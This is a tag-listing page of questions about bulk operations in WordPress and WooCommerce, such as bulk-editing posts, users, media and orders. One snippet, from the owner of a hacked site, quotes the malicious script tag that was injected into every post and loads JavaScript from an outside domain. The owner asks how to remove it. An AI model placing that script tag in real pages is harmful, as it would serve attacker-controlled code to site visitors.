Questions tagged [bulk]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
1answer
27 views

How to change my 3000 Published post status to Draft using PHPMyAdmin

I have to change my all 3000 published post status to draft. one way to do it one by one or another option is to select bulk post... but bulk selecting also takes a lot of time because I have around ...
0
votes
0answers
8 views

How create bulk website with amount, total, and checkout fields?

I have google sheet with rows like "Name", "Price". I would like to create website with folowing things: Website automaticly sync with google spreadsheet and update "Name&...
0
votes
0answers
15 views

Efficient way to move media folder to another folder

The media library is currently organized by months and years .../uploads/2021/09/. I'd like to go without the months and year and use the url .../uploads/ for future uploads. For consistency, I'd like ...
0
votes
1answer
45 views

Bulk updating a group of WordPress Pages every 10 minutes

I need to bulk update 86 specific WordPress Pages every 10 minutes, with the term updating I mean the same thing as clicking the Blue Update Button on each page, and having them all update at the same ...
1
vote
1answer
43 views

Code run fast on a cronjob but slow with a do_action or ajax call

I am creating several posts from a csv, when I execute the code using a cronjob the operation lasts about 7 minutes, but if I use the code directly in a template, or make a call to do_action or ...
0
votes
1answer
28 views

Moving post's content to post's comments section

I've resurrected a Blogger blog from the Wayback Machine. The business that did the migration had all of the blog's comments in each post included in the post itself. I would like to keep the years-...
1
vote
0answers
31 views

Bulk-create posts from SQL database

I'm new in this forum and fairly new to Wordpress as a whole, so I hope I will abide by all written and unwritten rules when posting this. I have an SQL database with around 4,000 posts from an old ...
0
votes
0answers
47 views

What is the best approach to rebuild product category tree completely?

I have a pretty large hierarchical list of product categories (almost 300) which I need to rebuild from scratch. Once the category tree is completed, I need to re-assign all existing products (more ...
0
votes
0answers
10 views

How to move multiple Wordpress sites to a new Server and Domain?

lets assume i have 100 Wordpress-Sites right now that are all on the domain allmywpsites.com/sites.Every sites has an area in allmywpsites.com/sites like this: allmywpsites.com/sites/site-1 ...
0
votes
0answers
89 views

Effective way to batch update user and meta data

Situation: Large e-commerce store (Woocommerce), with about 12.000 users. That each needs to be assigned a custom user role as a meta data key. Initial approach: Use Action sheduler and set up an ...
0
votes
0answers
67 views

Bulk Update Custom Fields for Custom Post Types

I am using this function which works great in case anyone wants to bulk update custom fields for custom post types (just change parameters as necessary). $args=array( 'posts_per_page' => -1, '...
0
votes
0answers
41 views

What is the hook for custom category bulk edit?

I have added bulk action in the WooCommerce product category edit. I just want to know what the hook is when I click on Apply to do some actions on selected categories. (Specifically, I want to update ...
0
votes
0answers
34 views

Woocommerce. How can i add the "order notes" function of the single order editor, to the orders bulk actions list?

Woocommerce. How can i add the “order notes” function of the single order edit page, to the orders bulk actions? Thank you. image : screenshot: https://i.stack.imgur.com/PhnjP.jpg OR to add in the ...
0
votes
0answers
18 views

`woocommerce_product_bulk_edit_start` action stopped working with update. Customize bulk edit

I've always used the woocommerce_product_bulk_edit_start action to customize the contents of the bulk edit functionality. This seems however to not be working with the newest version of WooCommerce. ...
1
vote
3answers
1k views

How to mass delete one line from all posts after site hack

My Wordpress site has been hacked and every post has had <script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script> added to the end of each post which I ...
0
votes
1answer
117 views

Bulk update custom post types

I'm using built in theme custom post types and I made XML import with posts to this custom post types. Everything work, but not a filter for these custom post types. If I update manually every custom ...
0
votes
1answer
371 views

How to get inserted row IDs for bulk/batch insert with wpdb query?

I'm writing a plugin where I need to save data in custom tables, function hits an API and then saves data for which I need bulk insert, but as wpdb doesn't support it out of the box I made a function ...
1
vote
1answer
497 views

Bulk edit Gutenberg single images to change from linking to media file to attachment page

I have several hundred posts which include a mix of single image and gallery blocks. All of them currently link to media file. What's the fastest way to change this to attachment page instead? (And ...
0
votes
0answers
157 views

Sending bulk mail to a certain number of users

We would like to send bulk mail to the user list using wp_mail() function. Is it possible to send e-mail to users at a certain time (similar to newsletter plugins)? For example, dividing the list of ...
0
votes
1answer
604 views

How can i edit all posts slug in bulk keeping WP native redirect?

When i edit a single post slug the old url redirects to the new one automatically. I need to do this in bulk. There is a text that appears on thousands of permalinks and i want to remove it from ...
0
votes
1answer
158 views

Replace a character in all post titles and slugs

I have hundreds of posts whose titles are of the form XmY, where X and Y are natural numbers, for example 18m324. I'd like to replace m with p in all post titles and slugs, while keeping X and Y ...
0
votes
1answer
39 views

Create "blank" admin page without having admin-bar/admin-menu for faster load

I'd like to create a page in the WP Admin backend that is just "white", e.g. without the administration menu or the admin bar. I am NOT looking to create an admin page without adding it to the menu; ...
1
vote
2answers
128 views

Bulk activate a theme on multisite

I have a multisite and a new theme that needs to be activated across all subsites. I found an answer by fuxia from 2012 and would like to know (1) if there have been changes in WordPress since that ...
0
votes
2answers
175 views

how to bulk add one line in the first paragraph of all posts

I want to add a sentence at the beginning of all posts of content directly into the post_content WordPress database. How do I? Either through the function.php or the MySQL command.
1
vote
0answers
425 views

How to bulk-untag multiple posts?

I have multiple batches of posts that are wrongly tagged with some terms, they need those terms to be removed. Specifically, I have... Custom post type: "article" Custom taxonomy: "company" (...
0
votes
1answer
2k views

woocommerce add a new bulk action in the bulk actions dropdown in the orders list

I'm trying to add a custom bulk action in the WooCommerce orders list that will a piece of code I've made for individual orders but need to make it work recursively. I'm aware of that: Custom ...
0
votes
1answer
581 views

Custom Bulk Actions handler not firing

I'm pretty new to Wordpress and PHP and am trying to add a custom field to a bulk edit list for a custom post. I've followed the following blog post but my handle_bulk_actions callback is not firing: ...
1
vote
1answer
5k views

How to bulk Edit Dates in Media Library?

I can't seem to find this option, but is there a way to bulk edit the dates of media items? I'm trying to go through my media and clean it up and I'd like to batch edit the dates of images (they'd be ...
1
vote
0answers
81 views

Bulk-Update Custom Posts

I have the following code in my functions.php file that I'm using to create a custom meta_key called 'spec_wp' (which is based on the value of an ACF repeater): add_filter('acf/save_post', '...
0
votes
1answer
197 views

How to set posts to draft in bulk based on the content of the post

I have thousands of offline links in my posts, and I'd like to set them all to draft. I know the links are in the format example.com/fileX. So I needed a SQL query to search the post content and ...
1
vote
1answer
191 views

How to assign posts without any category to the default category

Due to a massive import of posts from another cms into wordpress I have ended with thousands of posts without any category. I need to add all those posts to the default category. I've seen this ...
0
votes
0answers
54 views

Custom bulk page permissions

I don't know if I am phrasing this question right, but having a hard time finding an answer. What I want to do is open up my posts or pages dashboard and be able to bulk edit pages' permissions. So I ...
0
votes
1answer
609 views

How to get bulk actions handler to display simple "Hello World"?

I’m learning how to make plugins and I’m running into some difficulty. I’m trying to modify the bulk actions dropdown under the post and pages parts of admin. I managed to get the dropdown to display ...
1
vote
0answers
128 views

Bulk edit WP posts to update embeded images with new alt tags

I have a client site that has approx. 2000 posts, most with 2-3 images embedded. Recently we've gone through the media gallery and given all the images proper meta data, clean titles, descriptions, ...
0
votes
2answers
331 views

flip horizontal images in bulk

I'm using the WooCommerce plugin and I have a list of like 200+ products and I want to flip horizontally the images for every product. If I will do this manually it will take me days probably to take ...
3
votes
1answer
85 views

Is there a way to expose additional fields to the Bulk Action > Edit functionality?

I would like to know if it's possible (using the existing WordPress core development features) to hook into the existing WP Bulk Action > Edit functionality, in order to expose additional fields to ...
0
votes
1answer
203 views

transition_post_status doesn't work with bulk updates

I have successfully setup an action that executes when a custom post type is moved from "pending" to "publish" status. Everything works as expected when you change the post status individually (press ...
0
votes
1answer
43 views

How to delete all posts with dead image urls?

I have Picture Blog with over 100k Images, All of these images are remotely hosted, and many of them contains dead links for images. I want to delete all posts that contains dead links for images, ...
0
votes
1answer
30 views

Send Bulk Email without them going to spam

I am trying to find a way so that I wont need to pay to MailChimp or any of these companies for my 6000+ users, I want to send them mails twice a month, so thats more than 12000 mails per month. Can I ...
2
votes
0answers
135 views

Perform a custom (bulk) action in media view

I wish to figure out how to add a custom action button in the media grid view ( upload.php screen) and how to perform a custom (bulk) action to the selected attachments, as shown in the screenshot ...
3
votes
3answers
2k views

URL Redirect and Bulk Actions in wp_list_table

I am using the Custom List Table Example plugin as a basis to create my own custom list table. Everything is great, except one thorny point. When I am processing bulk actions via the ...
3
votes
1answer
2k views

How to assign an additional/extra/second user-role to multiple users (of a specific user-role)

I have 500 users with 50 of those users assigned to user-role XYZ. I'd like these 50 XYZ users to keep their current XYZ user-role but also be assigned another/additional/extra/second user-role ABC......
0
votes
0answers
342 views

Delete 100+ posts or media files from wordpress faster than default?

The pages are running pretty fast but deleting many (like 25) posts at the same time takes up to one minute. Same thing on the media library - everything is pretty slow. I disabled already all ...
1
vote
0answers
90 views

Remove bulk option row

How can I remove bulk actions section from post and page lists pages on wordpress I tried with following code in functions.php as suggested on another thread but it does nothing add_action( '...
4
votes
2answers
5k views

WP-CLI Bulk delete posts from specific category

I would like to know how to bulk delete posts from a specific category using the WP-CLI, any tip?
3
votes
0answers
2k views

How to edit multiple post with Custom fields

I created a custom field for my post. All sounds good except for the fact that when I try to edit multiple posts (in the same time) by selecting the multiple option in the post list, I only find some ...
0
votes
1answer
1k views

WP_LIST_TABLE bulk action

I created a class extend WP_List_Table and created method for bulk actions like this : function get_bulk_actions() { $actions = array( 'synchronize' => 'Synchronize', ...
0
votes
1answer
156 views

bulk media crop for featured images

I want to select all the images which are used as "featured image" on woocommerce products and modify and crop the images to fit a specific height. Does anyone know if there is a plugin available or ...
2
votes
1answer
2k views

How to bulk edit canonical url's in SQL?

I've been assigned to edit the canonical URL's (rel="canonical" found in the head)of about 600 posts on a client's site. Not all of the posts will use the same canonical url. Nor are these 301's or ...
0
votes
1answer
250 views

Bulk posts from DRAFT Section

So, i did create a website with 110k posts and i need to test some SEO features, so i did clone the same database and i did post them on 5 other domains. The thing is i can't index them 110k posts at ...